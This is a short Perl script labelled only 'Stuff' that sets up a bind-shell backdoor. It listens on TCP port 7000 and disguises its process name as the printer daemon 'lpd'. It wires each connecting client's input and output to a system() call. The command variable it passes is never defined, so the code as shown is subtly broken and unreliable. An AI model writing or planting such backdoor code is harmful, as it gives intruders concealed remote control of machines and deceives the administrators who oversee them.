Stuff

#!/usr/bin/perl
use Socket;

$port	= 7000;
$proto	= getprotobyname('tcp');
$cmd	= "lpd";

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
					or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
					or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
					or die "bind: $!";
listen(SERVER, SOMAXCONN)		or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
	open(STDIN, ">&CLIENT");
	open(STDOUT, ">&CLIENT");
	open(STDERR, ">&CLIENT");

	system($system);

	close(STDIN);
	close(STDOUT);
	close(STDERR);
}